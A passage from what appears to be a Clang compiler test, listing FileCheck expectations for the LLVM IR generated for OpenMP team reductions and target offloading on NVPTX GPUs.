{{[^@]+}}@__omp_outlined__ // CHECK3-SAME: (i32* noalias [[DOTGLOBAL_TID_:%.*]], i32* noalias [[DOTBOUND_TID_:%.*]], double* nonnull align 8 dereferenceable(8) [[E:%.*]]) #[[ATTR0]] { // CHECK3-NEXT: entry: // CHECK3-NEXT: [[DOTGLOBAL_TID__ADDR:%.*]] = alloca i32*, align 4 // CHECK3-NEXT: [[DOTBOUND_TID__ADDR:%.*]] = alloca i32*, align 4 // CHECK3-NEXT: [[E_ADDR:%.*]] = alloca double*, align 4 // CHECK3-NEXT: [[DOTOMP_REDUCTION_RED_LIST:%.*]] = alloca [1 x i8*], align 4 // CHECK3-NEXT: store i32* [[DOTGLOBAL_TID_]], i32** [[DOTGLOBAL_TID__ADDR]], align 4 // CHECK3-NEXT: store i32* [[DOTBOUND_TID_]], i32** [[DOTBOUND_TID__ADDR]], align 4 // CHECK3-NEXT: store double* [[E]], double** [[E_ADDR]], align 4 // CHECK3-NEXT: [[TMP0:%.*]] = load double*, double** [[E_ADDR]], align 4 // CHECK3-NEXT: [[E1:%.*]] = call i8* @__kmpc_alloc_shared(i32 8) // CHECK3-NEXT: [[E_ON_STACK:%.*]] = bitcast i8* [[E1]] to double* // CHECK3-NEXT: store double 0.000000e+00, double* [[E_ON_STACK]], align 8 // CHECK3-NEXT: [[TMP1:%.*]] = load double, double* [[E_ON_STACK]], align 8 // CHECK3-NEXT: [[ADD:%.*]] = fadd double [[TMP1]], 5.000000e+00 // CHECK3-NEXT: store double [[ADD]], double* [[E_ON_STACK]], align 8 // CHECK3-NEXT: [[TMP2:%.*]] = load i32*, i32** [[DOTGLOBAL_TID__ADDR]], align 4 // CHECK3-NEXT: [[TMP3:%.*]] = load i32, i32* [[TMP2]], align 4 // CHECK3-NEXT: [[TMP4:%.*]] = getelementptr inbounds [1 x i8*], [1 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]], i32 0, i32 0 // CHECK3-NEXT: [[TMP5:%.*]] = bitcast double* [[E_ON_STACK]] to i8* // CHECK3-NEXT: store i8* [[TMP5]], i8** [[TMP4]], align 4 // CHECK3-NEXT: [[TMP6:%.*]] = bitcast [1 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]] to i8* // CHECK3-NEXT: [[TMP7:%.*]] = load i8*, i8** @"_openmp_teams_reductions_buffer_$_$ptr", align 4 // CHECK3-NEXT: [[TMP8:%.*]] = call i32 @__kmpc_nvptx_teams_reduce_nowait_v2(%struct.ident_t* @[[GLOB1]], i32 [[TMP3]], i8* [[TMP7]], i32 2048, i8* [[TMP6]], void (i8*, i16, i16, i16)* @_omp_reduction_shuffle_and_reduce_func, void (i8*, i32)* @_omp_reduction_inter_warp_copy_func, void (i8*, i32, i8*)* @_omp_reduction_list_to_global_copy_func, void (i8*, i32, i8*)* @_omp_reduction_list_to_global_reduce_func, void (i8*, i32, i8*)* @_omp_reduction_global_to_list_copy_func, void (i8*, i32, i8*)* @_omp_reduction_global_to_list_reduce_func) // CHECK3-NEXT: [[TMP9:%.*]] = icmp eq i32 [[TMP8]], 1 // CHECK3-NEXT: br i1 [[TMP9]], label [[DOTOMP_REDUCTION_THEN:%.*]], label [[DOTOMP_REDUCTION_DONE:%.*]] // CHECK3: .omp.reduction.then: // CHECK3-NEXT: [[TMP10:%.*]] = load double, double* [[TMP0]], align 8 // CHECK3-NEXT: [[TMP11:%.*]] = load double, double* [[E_ON_STACK]], align 8 // CHECK3-NEXT: [[ADD2:%.*]] = fadd double [[TMP10]], [[TMP11]] // CHECK3-NEXT: store double [[ADD2]], double* [[TMP0]], align 8 // CHECK3-NEXT: call void @__kmpc_nvptx_end_reduce_nowait(i32 [[TMP3]]) // CHECK3-NEXT: br label [[DOTOMP_REDUCTION_DONE]] // CHECK3: .omp.reduction.done: // CHECK3-NEXT: call void @__kmpc_free_shared(i8* [[E1]], i32 8) // CHECK3-NEXT: ret void // // // CHECK3-LABEL: define {{[^@]+}}@_omp_reduction_shuffle_and_reduce_func // CHECK3-SAME: (i8* [[TMP0:%.*]], i16 signext [[TMP1:%.*]], i16 signext [[TMP2:%.*]], i16 signext [[TMP3:%.*]]) #[[ATTR2:[0-9]+]] { // CHECK3-NEXT: entry: // CHECK3-NEXT: [[DOTADDR:%.*]] = alloca i8*, align 4 // CHECK3-NEXT: [[DOTADDR1:%.*]] = alloca i16, align 2 // CHECK3-NEXT: [[DOTADDR2:%.*]] = alloca i16, align 2 // CHECK3-NEXT: [[DOTADDR3:%.*]] = alloca i16, align 2 // CHECK3-NEXT: [[DOTOMP_REDUCTION_REMOTE_REDUCE_LIST:%.*]] = alloca [1 x i8*], align 4 // CHECK3-NEXT: [[DOTOMP_REDUCTION_ELEMENT:%.*]] = alloca double, align 8 // CHECK3-NEXT: store i8* [[TMP0]], i8** [[DOTADDR]], align 4 // CHECK3-NEXT: store i16 [[TMP1]], i16* [[DOTADDR1]], align 2 // CHECK3-NEXT: store i16 [[TMP2]], i16* [[DOTADDR2]], align 2 // CHECK3-NEXT: store i16 [[TMP3]], i16* [[DOTADDR3]], align 2 // CHECK3-NEXT: [[TMP4:%.*]] = load i8*, i8** [[DOTADDR]], align 4 // CHECK3-NEXT: [[TMP5:%.*]] = bitcast i8* [[TMP4]] to [1 x i8*]* // CHECK3-NEXT: [[TMP6:%.*]] = load i16, i16* [[DOTADDR1]], align 2 // CHECK3-NEXT: [[TMP7:%.*]] = load i16, i16* [[DOTADDR2]], align 2 // CHECK3-NEXT: [[TMP8:%.*]] = load i16, i16* [[DOTADDR3]], align 2 // CHECK3-NEXT: [[TMP9:%.*]] = getelementptr inbounds [1 x i8*], [1 x i8*]* [[TMP5]], i32 0, i32 0 // CHECK3-NEXT: [[TMP10:%.*]] = load i8*, i8** [[TMP9]], align 4 // CHECK3-NEXT: [[TMP11:%.*]] = getelementptr inbounds [1 x i8*], [1 x i8*]* [[DOTOMP_REDUCTION_REMOTE_REDUCE_LIST]], i32 0, i32 0 // CHECK3-NEXT: [[TMP12:%.*]] = bitcast i8* [[TMP10]] to double* // CHECK3-NEXT: [[TMP13:%.*]] = getelementptr double, double* [[TMP12]], i32 1 // CHECK3-NEXT: [[TMP14:%.*]] = bitcast double* [[TMP13]] to i8* // CHECK3-NEXT: [[TMP15:%.*]] = bitcast double* [[TMP12]] to i64* // CHECK3-NEXT: [[TMP16:%.*]] = bitcast double* [[DOTOMP_REDUCTION_ELEMENT]] to i64* // CHECK3-NEXT: [[TMP17:%.*]] = load i64, i64* [[TMP15]], align 8 // CHECK3-NEXT: [[TMP18:%.*]] = call i32 @__kmpc_get_warp_size() // CHECK3-NEXT: [[TMP19:%.*]] = trunc i32 [[TMP18]] to i16 // CHECK3-NEXT: [[TMP20:%.*]] = call i64 @__kmpc_shuffle_int64(i64 [[TMP17]], i16 [[TMP7]], i16 [[TMP19]]) // CHECK3-NEXT: store i64 [[TMP20]], i64* [[TMP16]], align 8 // CHECK3-NEXT: [[TMP21:%.*]] = getelementptr i64, i64* [[TMP15]], i32 1 // CHECK3-NEXT: [[TMP22:%.*]] = getelementptr i64, i64* [[TMP16]], i32 1 // CHECK3-NEXT: [[TMP23:%.*]] = bitcast double* [[DOTOMP_REDUCTION_ELEMENT]] to i8* // CHECK3-NEXT: store i8* [[TMP23]], i8** [[TMP11]], align 4 // CHECK3-NEXT: [[TMP24:%.*]] = icmp eq i16 [[TMP8]], 0 // CHECK3-NEXT: [[TMP25:%.*]] = icmp eq i16 [[TMP8]], 1 // CHECK3-NEXT: [[TMP26:%.*]] = icmp ult i16 [[TMP6]], [[TMP7]] // CHECK3-NEXT: [[TMP27:%.*]] = and i1 [[TMP25]], [[TMP26]] // CHECK3-NEXT: [[TMP28:%.*]] = icmp eq i16 [[TMP8]], 2 // CHECK3-NEXT: [[TMP29:%.*]] = and i16 [[TMP6]], 1 // CHECK3-NEXT: [[TMP30:%.*]] = icmp eq i16 [[TMP29]], 0 // CHECK3-NEXT: [[TMP31:%.*]] = and i1 [[TMP28]], [[TMP30]] // CHECK3-NEXT: [[TMP32:%.*]] = icmp sgt i16 [[TMP7]], 0 // CHECK3-NEXT: [[TMP33:%.*]] = and i1 [[TMP31]], [[TMP32]] // CHECK3-NEXT: [[TMP34:%.*]] = or i1 [[TMP24]], [[TMP27]] // CHECK3-NEXT: [[TMP35:%.*]] = or i1 [[TMP34]], [[TMP33]] // CHECK3-NEXT: br i1 [[TMP35]], label [[THEN:%.*]], label [[ELSE:%.*]] // CHECK3: then: // CHECK3-NEXT: [[TMP36:%.*]] = bitcast [1 x i8*]* [[TMP5]] to i8* // CHECK3-NEXT: [[TMP37:%.*]] = bitcast [1 x i8*]* [[DOTOMP_REDUCTION_REMOTE_REDUCE_LIST]] to i8* // CHECK3-NEXT: call void @"_omp$reduction$reduction_func"(i8* [[TMP36]], i8* [[TMP37]]) #[[ATTR3]] // CHECK3-NEXT: br label [[IFCONT:%.*]] // CHECK3: else: // CHECK3-NEXT: br label [[IFCONT]] // CHECK3: ifcont: // CHECK3-NEXT: [[TMP38:%.*]] = icmp eq i16 [[TMP8]], 1 // CHECK3-NEXT: [[TMP39:%.*]] = icmp uge i16 [[TMP6]], [[TMP7]] // CHECK3-NEXT: [[TMP40:%.*]] = and i1 [[TMP38]], [[TMP39]] // CHECK3-NEXT: br i1 [[TMP40]], label [[THEN4:%.*]], label [[ELSE5:%.*]] // CHECK3: then4: // CHECK3-NEXT: [[TMP41:%.*]] = getelementptr inbounds [1 x i8*], [1 x i8*]* [[DOTOMP_REDUCTION_REMOTE_REDUCE_LIST]], i32 0, i32 0 // CHECK3-NEXT: [[TMP42:%.*]] = load i8*, i8** [[TMP41]], align 4 // CHECK3-NEXT: [[TMP43:%.*]] = getelementptr inbounds [1 x i8*], [1 x i8*]* [[TMP5]], i32 0, i32 0 // CHECK3-NEXT: [[TMP44:%.*]] = load i8*, i8** [[TMP43]], align 4 // CHECK3-NEXT: [[TMP45:%.*]] = bitcast i8* [[TMP42]] to double* // CHECK3-NEXT: [[TMP46:%.*]] = bitcast i8* [[TMP44]] to double* // CHECK3-NEXT: [[TMP47:%.*]] = load double, double* [[TMP45]], align 8 // CHECK3-NEXT: store double [[TMP47]], double* [[TMP46]], align 8 // CHECK3-NEXT: br label [[IFCONT6:%.*]] // CHECK3: else5: // CHECK3-NEXT: br label [[IFCONT6]] // CHECK3: ifcont6: // CHECK3-NEXT: ret void // // // CHECK3-LABEL: define {{[^@]+}}@_omp_reduction_inter_warp_copy_func // CHECK3-SAME: (i8* [[TMP0:%.*]], i32 [[TMP1:%.*]]) #[[ATTR2]] { // CHECK3-NEXT: entry: // CHECK3-NEXT: [[DOTADDR:%.*]] = alloca i8*, align 4 // CHECK3-NEXT: [[DOTADDR1:%.*]] = alloca i32, align 4 // CHECK3-NEXT: [[DOTCNT_ADDR:%.*]] = alloca i32, align 4 // CHECK3-NEXT: [[TMP2:%.*]] = call i32 @__kmpc_global_thread_num(%struct.ident_t* @[[GLOB1]]) // CHECK3-NEXT: store i8* [[TMP0]], i8** [[DOTADDR]], align 4 // CHECK3-NEXT: store i32 [[TMP1]], i32* [[DOTADDR1]], align 4 // CHECK3-NEXT: [[TMP3:%.*]] = call i32 @__kmpc_get_hardware_thread_id_in_block() // CHECK3-NEXT: [[TMP4:%.*]] = call i32 @__kmpc_get_hardware_thread_id_in_block() // CHECK3-NEXT: [[NVPTX_LANE_ID:%.*]] = and i32 [[TMP4]], 31 // CHECK3-NEXT: [[TMP5:%.*]] = call i32 @__kmpc_get_hardware_thread_id_in_block() // CHECK3-NEXT: [[NVPTX_WARP_ID:%.*]] = ashr i32 [[TMP5]], 5 // CHECK3-NEXT: [[TMP6:%.*]] = load i8*, i8** [[DOTADDR]], align 4 // CHECK3-NEXT: [[TMP7:%.*]] = bitcast i8* [[TMP6]] to [1 x i8*]* // CHECK3-NEXT: store i32 0, i32* [[DOTCNT_ADDR]], align 4 // CHECK3-NEXT: br label [[PRECOND:%.*]] // CHECK3: precond: // CHECK3-NEXT: [[TMP8:%.*]] = load i32, i32* [[DOTCNT_ADDR]], align 4 // CHECK3-NEXT: [[TMP9:%.*]] = icmp ult i32 [[TMP8]], 2 // CHECK3-NEXT: br i1 [[TMP9]], label [[BODY:%.*]], label [[EXIT:%.*]] // CHECK3: body: // CHECK3-NEXT: call void @__kmpc_barrier(%struct.ident_t* @[[GLOB2:[0-9]+]], i32 [[TMP2]]) // CHECK3-NEXT: [[WARP_MASTER:%.*]] = icmp eq i32 [[NVPTX_LANE_ID]], 0 // CHECK3-NEXT: br i1 [[WARP_MASTER]], label [[THEN:%.*]], label [[ELSE:%.*]] // CHECK3: then: // CHECK3-NEXT: [[TMP10:%.*]] = getelementptr inbounds [1 x i8*], [1 x i8*]* [[TMP7]], i32 0, i32 0 // CHECK3-NEXT: [[TMP11:%.*]] = load i8*, i8** [[TMP10]], align 4 // CHECK3-NEXT: [[TMP12:%.*]] = bitcast i8* [[TMP11]] to i32* // CHECK3-NEXT: [[TMP13:%.*]] = getelementptr i32, i32* [[TMP12]], i32 [[TMP8]] // CHECK3-NEXT: [[TMP14:%.*]] = getelementptr inbounds [32 x i32], [32 x i32] addrspace(3)* @__openmp_nvptx_data_transfer_temporary_storage, i64 0, i32 [[NVPTX_WARP_ID]] // CHECK3-NEXT: [[TMP15:%.*]] = load i32, i32* [[TMP13]], align 4 // CHECK3-NEXT: store volatile i32 [[TMP15]], i32 addrspace(3)* [[TMP14]], align 4 // CHECK3-NEXT: br label [[IFCONT:%.*]] // CHECK3: else: // CHECK3-NEXT: br label [[IFCONT]] // CHECK3: ifcont: // CHECK3-NEXT: call void @__kmpc_barrier(%struct.ident_t* @[[GLOB2]], i32 [[TMP2]]) // CHECK3-NEXT: [[TMP16:%.*]] = load i32, i32* [[DOTADDR1]], align 4 // CHECK3-NEXT: [[IS_ACTIVE_THREAD:%.*]] = icmp ult i32 [[TMP3]], [[TMP16]] // CHECK3-NEXT: br i1 [[IS_ACTIVE_THREAD]], label [[THEN2:%.*]], label [[ELSE3:%.*]] // CHECK3: then2: // CHECK3-NEXT: [[TMP17:%.*]] = getelementptr inbounds [32 x i32], [32 x i32] addrspace(3)* @__openmp_nvptx_data_transfer_temporary_storage, i64 0, i32 [[TMP3]] // CHECK3-NEXT: [[TMP18:%.*]] = getelementptr inbounds [1 x i8*], [1 x i8*]* [[TMP7]], i32 0, i32 0 // CHECK3-NEXT: [[TMP19:%.*]] = load i8*, i8** [[TMP18]], align 4 // CHECK3-NEXT: [[TMP20:%.*]] = bitcast i8* [[TMP19]] to i32* // CHECK3-NEXT: [[TMP21:%.*]] = getelementptr i32, i32* [[TMP20]], i32 [[TMP8]] // CHECK3-NEXT: [[TMP22:%.*]] = load volatile i32, i32 addrspace(3)* [[TMP17]], align 4 // CHECK3-NEXT: store i32 [[TMP22]], i32* [[TMP21]], align 4 // CHECK3-NEXT: br label [[IFCONT4:%.*]] // CHECK3: else3: // CHECK3-NEXT: br label [[IFCONT4]] // CHECK3: ifcont4: // CHECK3-NEXT: [[TMP23:%.*]] = add nsw i32 [[TMP8]], 1 // CHECK3-NEXT: store i32 [[TMP23]], i32* [[DOTCNT_ADDR]], align 4 // CHECK3-NEXT: br label [[PRECOND]] // CHECK3: exit: // CHECK3-NEXT: ret void // // // CHECK3-LABEL: define {{[^@]+}}@_omp_reduction_list_to_global_copy_func // CHECK3-SAME: (i8* [[TMP0:%.*]], i32 [[TMP1:%.*]], i8* [[TMP2:%.*]]) #[[ATTR2]] { // CHECK3-NEXT: entry: // CHECK3-NEXT: [[DOTADDR:%.*]] = alloca i8*, align 4 // CHECK3-NEXT: [[DOTADDR1:%.*]] = alloca i32, align 4 // CHECK3-NEXT: [[DOTADDR2:%.*]] = alloca i8*, align 4 // CHECK3-NEXT: store i8* [[TMP0]], i8** [[DOTADDR]], align 4 // CHECK3-NEXT: store i32 [[TMP1]], i32* [[DOTADDR1]], align 4 // CHECK3-NEXT: store i8* [[TMP2]], i8** [[DOTADDR2]], align 4 // CHECK3-NEXT: [[TMP3:%.*]] = load i8*, i8** [[DOTADDR2]], align 4 // CHECK3-NEXT: [[TMP4:%.*]] = bitcast i8* [[TMP3]] to [1 x i8*]* // CHECK3-NEXT: [[TMP5:%.*]] = load i8*, i8** [[DOTADDR]], align 4 // CHECK3-NEXT: [[TMP6:%.*]] = bitcast i8* [[TMP5]] to %struct._globalized_locals_ty* // CHECK3-NEXT: [[TMP7:%.*]] = load i32, i32* [[DOTADDR1]], align 4 // CHECK3-NEXT: [[TMP8:%.*]] = getelementptr inbounds [1 x i8*], [1 x i8*]* [[TMP4]], i32 0, i32 0 // CHECK3-NEXT: [[TMP9:%.*]] = load i8*, i8** [[TMP8]], align 4 // CHECK3-NEXT: [[TMP10:%.*]] = bitcast i8* [[TMP9]] to double* // CHECK3-NEXT: [[E:%.*]] = getelementptr inbounds [[STRUCT__GLOBALIZED_LOCALS_TY:%.*]], %struct._globalized_locals_ty* [[TMP6]], i32 0, i32 0 // CHECK3-NEXT: [[TMP11:%.*]] = getelementptr inbounds [2048 x double], [2048 x double]* [[E]], i32 0, i32 [[TMP7]] // CHECK3-NEXT: [[TMP12:%.*]] = load double, double* [[TMP10]], align 8 // CHECK3-NEXT: store double [[TMP12]], double* [[TMP11]], align 128 // CHECK3-NEXT: ret void // // // CHECK3-LABEL: define {{[^@]+}}@_omp_reduction_list_to_global_reduce_func // CHECK3-SAME: (i8* [[TMP0:%.*]], i32 [[TMP1:%.*]], i8* [[TMP2:%.*]]) #[[ATTR2]] { // CHECK3-NEXT: entry: // CHECK3-NEXT: [[DOTADDR:%.*]] = alloca i8*, align 4 // CHECK3-NEXT: [[DOTADDR1:%.*]] = alloca i32, align 4 // CHECK3-NEXT: [[DOTADDR2:%.*]] = alloca i8*, align 4 // CHECK3-NEXT: [[DOTOMP_REDUCTION_RED_LIST:%.*]] = alloca [1 x i8*], align 4 // CHECK3-NEXT: store i8* [[TMP0]], i8** [[DOTADDR]], align 4 // CHECK3-NEXT: store i32 [[TMP1]], i32* [[DOTADDR1]], align 4 // CHECK3-NEXT: store i8* [[TMP2]], i8** [[DOTADDR2]], align 4 // CHECK3-NEXT: [[TMP3:%.*]] = load i8*, i8** [[DOTADDR]], align 4 // CHECK3-NEXT: [[TMP4:%.*]] = bitcast i8* [[TMP3]] to %struct._globalized_locals_ty* // CHECK3-NEXT: [[TMP5:%.*]] = load i32, i32* [[DOTADDR1]], align 4 // CHECK3-NEXT: [[TMP6:%.*]] = getelementptr inbounds [1 x i8*], [1 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]], i32 0, i32 0 // CHECK3-NEXT: [[E:%.*]] = getelementptr inbounds [[STRUCT__GLOBALIZED_LOCALS_TY:%.*]], %struct._globalized_locals_ty* [[TMP4]], i32 0, i32 0 // CHECK3-NEXT: [[TMP7:%.*]] = getelementptr inbounds [2048 x double], [2048 x double]* [[E]], i32 0, i32 [[TMP5]] // CHECK3-NEXT: [[TMP8:%.*]] = bitcast double* [[TMP7]] to i8* // CHECK3-NEXT: store i8* [[TMP8]], i8** [[TMP6]], align 4 // CHECK3-NEXT: [[TMP9:%.*]] = bitcast [1 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]] to i8* // CHECK3-NEXT: [[TMP10:%.*]] = load i8*, i8** [[DOTADDR2]], align 4 // CHECK3-NEXT: call void @"_omp$reduction$reduction_func"(i8* [[TMP9]], i8* [[TMP10]]) #[[ATTR3]] // CHECK3-NEXT: ret void // // // CHECK3-LABEL: define {{[^@]+}}@_omp_reduction_global_to_list_copy_func // CHECK3-SAME: (i8* [[TMP0:%.*]], i32 [[TMP1:%.*]], i8* [[TMP2:%.*]]) #[[ATTR2]] { // CHECK3-NEXT: entry: // CHECK3-NEXT: [[DOTADDR:%.*]] = alloca i8*, align 4 // CHECK3-NEXT: [[DOTADDR1:%.*]] = alloca i32, align 4 // CHECK3-NEXT: [[DOTADDR2:%.*]] = alloca i8*, align 4 // CHECK3-NEXT: store i8* [[TMP0]], i8** [[DOTADDR]], align 4 // CHECK3-NEXT: store i32 [[TMP1]], i32* [[DOTADDR1]], align 4 // CHECK3-NEXT: store i8* [[TMP2]], i8** [[DOTADDR2]], align 4 // CHECK3-NEXT: [[TMP3:%.*]] = load i8*, i8** [[DOTADDR2]], align 4 // CHECK3-NEXT: [[TMP4:%.*]] = bitcast i8* [[TMP3]] to [1 x i8*]* // CHECK3-NEXT: [[TMP5:%.*]] = load i8*, i8** [[DOTADDR]], align 4 // CHECK3-NEXT: [[TMP6:%.*]] = bitcast i8* [[TMP5]] to %struct._globalized_locals_ty* // CHECK3-NEXT: [[TMP7:%.*]] = load i32, i32* [[DOTADDR1]], align 4 // CHECK3-NEXT: [[TMP8:%.*]] = getelementptr inbounds [1 x i8*], [1 x i8*]* [[TMP4]], i32 0, i32 0 // CHECK3-NEXT: [[TMP9:%.*]] = load i8*, i8** [[TMP8]], align 4 // CHECK3-NEXT: [[TMP10:%.*]] = bitcast i8* [[TMP9]] to double* // CHECK3-NEXT: [[E:%.*]] = getelementptr inbounds [[STRUCT__GLOBALIZED_LOCALS_TY:%.*]], %struct._globalized_locals_ty* [[TMP6]], i32 0, i32 0 // CHECK3-NEXT: [[TMP11:%.*]] = getelementptr inbounds [2048 x double], [2048 x double]* [[E]], i32 0, i32 [[TMP7]] // CHECK3-NEXT: [[TMP12:%.*]] = load double, double* [[TMP11]], align 128 // CHECK3-NEXT: store double [[TMP12]], double* [[TMP10]], align 8 // CHECK3-NEXT: ret void // // // CHECK3-LABEL: define {{[^@]+}}@_omp_reduction_global_to_list_reduce_func // CHECK3-SAME: (i8* [[TMP0:%.*]], i32 [[TMP1:%.*]], i8* [[TMP2:%.*]]) #[[ATTR2]] { // CHECK3-NEXT: entry: // CHECK3-NEXT: [[DOTADDR:%.*]] = alloca i8*, align 4 // CHECK3-NEXT: [[DOTADDR1:%.*]] = alloca i32, align 4 // CHECK3-NEXT: [[DOTADDR2:%.*]] = alloca i8*, align 4 // CHECK3-NEXT: [[DOTOMP_REDUCTION_RED_LIST:%.*]] = alloca [1 x i8*], align 4 // CHECK3-NEXT: store i8* [[TMP0]], i8** [[DOTADDR]], align 4 // CHECK3-NEXT: store i32 [[TMP1]], i32* [[DOTADDR1]], align 4 // CHECK3-NEXT: store i8* [[TMP2]], i8** [[DOTADDR2]], align 4 // CHECK3-NEXT: [[TMP3:%.*]] = load i8*, i8** [[DOTADDR]], align 4 // CHECK3-NEXT: [[TMP4:%.*]] = bitcast i8* [[TMP3]] to %struct._globalized_locals_ty* // CHECK3-NEXT: [[TMP5:%.*]] = load i32, i32* [[DOTADDR1]], align 4 // CHECK3-NEXT: [[TMP6:%.*]] = getelementptr inbounds [1 x i8*], [1 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]], i32 0, i32 0 // CHECK3-NEXT: [[E:%.*]] = getelementptr inbounds [[STRUCT__GLOBALIZED_LOCALS_TY:%.*]], %struct._globalized_locals_ty* [[TMP4]], i32 0, i32 0 // CHECK3-NEXT: [[TMP7:%.*]] = getelementptr inbounds [2048 x double], [2048 x double]* [[E]], i32 0, i32 [[TMP5]] // CHECK3-NEXT: [[TMP8:%.*]] = bitcast double* [[TMP7]] to i8* // CHECK3-NEXT: store i8* [[TMP8]], i8** [[TMP6]], align 4 // CHECK3-NEXT: [[TMP9:%.*]] = bitcast [1 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]] to i8* // CHECK3-NEXT: [[TMP10:%.*]] = load i8*, i8** [[DOTADDR2]], align 4 // CHECK3-NEXT: call void @"_omp$reduction$reduction_func"(i8* [[TMP10]], i8* [[TMP9]]) #[[ATTR3]] // CHECK3-NEXT: ret void // // // CHECK3-LABEL: define {{[^@]+}}@{{__omp_offloading_[0-9a-z]+_[0-9a-z]+}}__Z9ftemplateIcET_i_l26 // CHECK3-SAME: (i32 [[C:%.*]], i32 [[D:%.*]]) #[[ATTR0]] { // CHECK3-NEXT: entry: // CHECK3-NEXT: [[C_ADDR:%.*]] = alloca i32, align 4 // CHECK3-NEXT: [[D_ADDR:%.*]] = alloca i32, align 4 // CHECK3-NEXT: [[DOTZERO_ADDR:%.*]] = alloca i32, align 4 // CHECK3-NEXT: [[DOTTHREADID_TEMP_:%.*]] = alloca i32, align 4 // CHECK3-NEXT: store i32 [[C]], i32* [[C_ADDR]], align 4 // CHECK3-NEXT: store i32 [[D]], i32* [[D_ADDR]], align 4 // CHECK3-NEXT: [[CONV:%.*]] = bitcast i32* [[C_ADDR]] to i8* // CHECK3-NEXT: [[CONV1:%.*]] = bitcast i32* [[D_ADDR]] to float* // CHECK3-NEXT: [[TMP0:%.*]] = call i32 @__kmpc_target_init(%struct.ident_t* @[[GLOB1]], i8 1, i1 true, i1 true) // CHECK3-NEXT: [[EXEC_USER_CODE:%.*]] = icmp eq i32 [[TMP0]], -1 // CHECK3-NEXT: br i1 [[EXEC_USER_CODE]], label [[USER_CODE_ENTRY:%.*]], label [[WORKER_EXIT:%.*]] // CHECK3: user_code.entry: // CHECK3-NEXT: [[TMP1:%.*]] = load i8, i8* [[CONV]], align 1 // CHECK3-NEXT: [[C2:%.*]] = call i8* @__kmpc_alloc_shared(i32 1) // CHECK3-NEXT: store i8 [[TMP1]], i8* [[C2]], align 1 // CHECK3-NEXT: [[TMP2:%.*]] = load float, float* [[CONV1]], align 4 // CHECK3-NEXT: [[D3:%.*]] = call i8* @__kmpc_alloc_shared(i32 4) // CHECK3-NEXT: [[D_ON_STACK:%.*]] = bitcast i8* [[D3]] to float* // CHECK3-NEXT: store float [[TMP2]], float* [[D_ON_STACK]], align 4 // CHECK3-NEXT: [[TMP3:%.*]] = call i32 @__kmpc_global_thread_num(%struct.ident_t* @[[GLOB1]]) // CHECK3-NEXT: store i32 0, i32* [[DOTZERO_ADDR]], align 4 // CHECK3-NEXT: store i32 [[TMP3]], i32* [[DOTTHREADID_TEMP_]], align 4 // CHECK3-NEXT: call void @__omp_outlined__1(i32* [[DOTTHREADID_TEMP_]], i32* [[DOTZERO_ADDR]], i8* [[C2]], float* [[D_ON_STACK]]) #[[ATTR3]] // CHECK3-NEXT: call void @__kmpc_free_shared(i8* [[D3]], i32 4) // CHECK3-NEXT: call void @__kmpc_free_shared(i8* [[C2]], i32 1) // CHECK3-NEXT: call void @__kmpc_target_deinit(%struct.ident_t* @[[GLOB1]], i8 1, i1 true) // CHECK3-NEXT: ret void // CHECK3: worker.exit: // CHECK3-NEXT: ret void // // // CHECK3-LABEL: define {{[^@]+}}@__omp_outlined__1 // CHECK3-SAME: (i32* noalias [[DOTGLOBAL_TID_:%.*]], i32* noalias [[DOTBOUND_TID_:%.*]], i8* nonnull align 1 dereferenceable(1) [[C:%.*]], float* nonnull align 4 dereferenceable(4) [[D:%.*]]) #[[ATTR0]] { // CHECK3-NEXT: entry: // CHECK3-NEXT: [[DOTGLOBAL_TID__ADDR:%.*]] = alloca i32*, align 4 // CHECK3-NEXT: [[DOTBOUND_TID__ADDR:%.*]] = alloca i32*, align 4 // CHECK3-NEXT: [[C_ADDR:%.*]] = alloca i8*, align 4 // CHECK3-NEXT: [[D_ADDR:%.*]] = alloca float*, align 4 // CHECK3-NEXT: [[DOTOMP_REDUCTION_RED_LIST:%.*]] = alloca [2 x i8*], align 4 // CHECK3-NEXT: store i32* [[DOTGLOBAL_TID_]], i32** [[DOTGLOBAL_TID__ADDR]], align 4 // CHECK3-NEXT: store i32* [[DOTBOUND_TID_]], i32** [[DOTBOUND_TID__ADDR]], align 4 // CHECK3-NEXT: store i8* [[C]], i8** [[C_ADDR]], align 4 // CHECK3-NEXT: store float* [[D]], float** [[D_ADDR]], align 4 // CHECK3-NEXT: [[TMP0:%.*]] = load i8*, i8** [[C_ADDR]], align 4 // CHECK3-NEXT: [[TMP1:%.*]] = load float*, float** [[D_ADDR]], align 4 // CHECK3-NEXT: [[C1:%.*]] = call i8* @__kmpc_alloc_shared(i32 1) // CHECK3-NEXT: [[D2:%.*]] = call i8* @__kmpc_alloc_shared(i32 4) // CHECK3-NEXT: [[D_ON_STACK:%.*]] = bitcast i8* [[D2]] to float* // CHECK3-NEXT: store i8 0, i8* [[C1]], align 1 // CHECK3-NEXT: store float 1.000000e+00, float* [[D_ON_STACK]], align 4 // CHECK3-NEXT: [[TMP2:%.*]] = load i8, i8* [[C1]], align 1 // CHECK3-NEXT: [[CONV:%.*]] = sext i8 [[TMP2]] to i32 // CHECK3-NEXT: [[XOR:%.*]] = xor i32 [[CONV]], 2 // CHECK3-NEXT: [[CONV3:%.*]] = trunc i32 [[XOR]] to i8 // CHECK3-NEXT: store i8 [[CONV3]], i8* [[C1]], align 1 // CHECK3-NEXT: [[TMP3:%.*]] = load float, float* [[D_ON_STACK]], align 4 // CHECK3-NEXT: [[MUL:%.*]] = fmul float [[TMP3]], 3.300000e+01 // CHECK3-NEXT: store float [[MUL]], float* [[D_ON_STACK]], align 4 // CHECK3-NEXT: [[TMP4:%.*]] = load i32*, i32** [[DOTGLOBAL_TID__ADDR]], align 4 // CHECK3-NEXT: [[TMP5:%.*]] = load i32, i32* [[TMP4]], align 4 // CHECK3-NEXT: [[TMP6:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]], i32 0, i32 0 // CHECK3-NEXT: store i8* [[C1]], i8** [[TMP6]], align 4 // CHECK3-NEXT: [[TMP7:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]], i32 0, i32 1 // CHECK3-NEXT: [[TMP8:%.*]] = bitcast float* [[D_ON_STACK]] to i8* // CHECK3-NEXT: store i8* [[TMP8]], i8** [[TMP7]], align 4 // 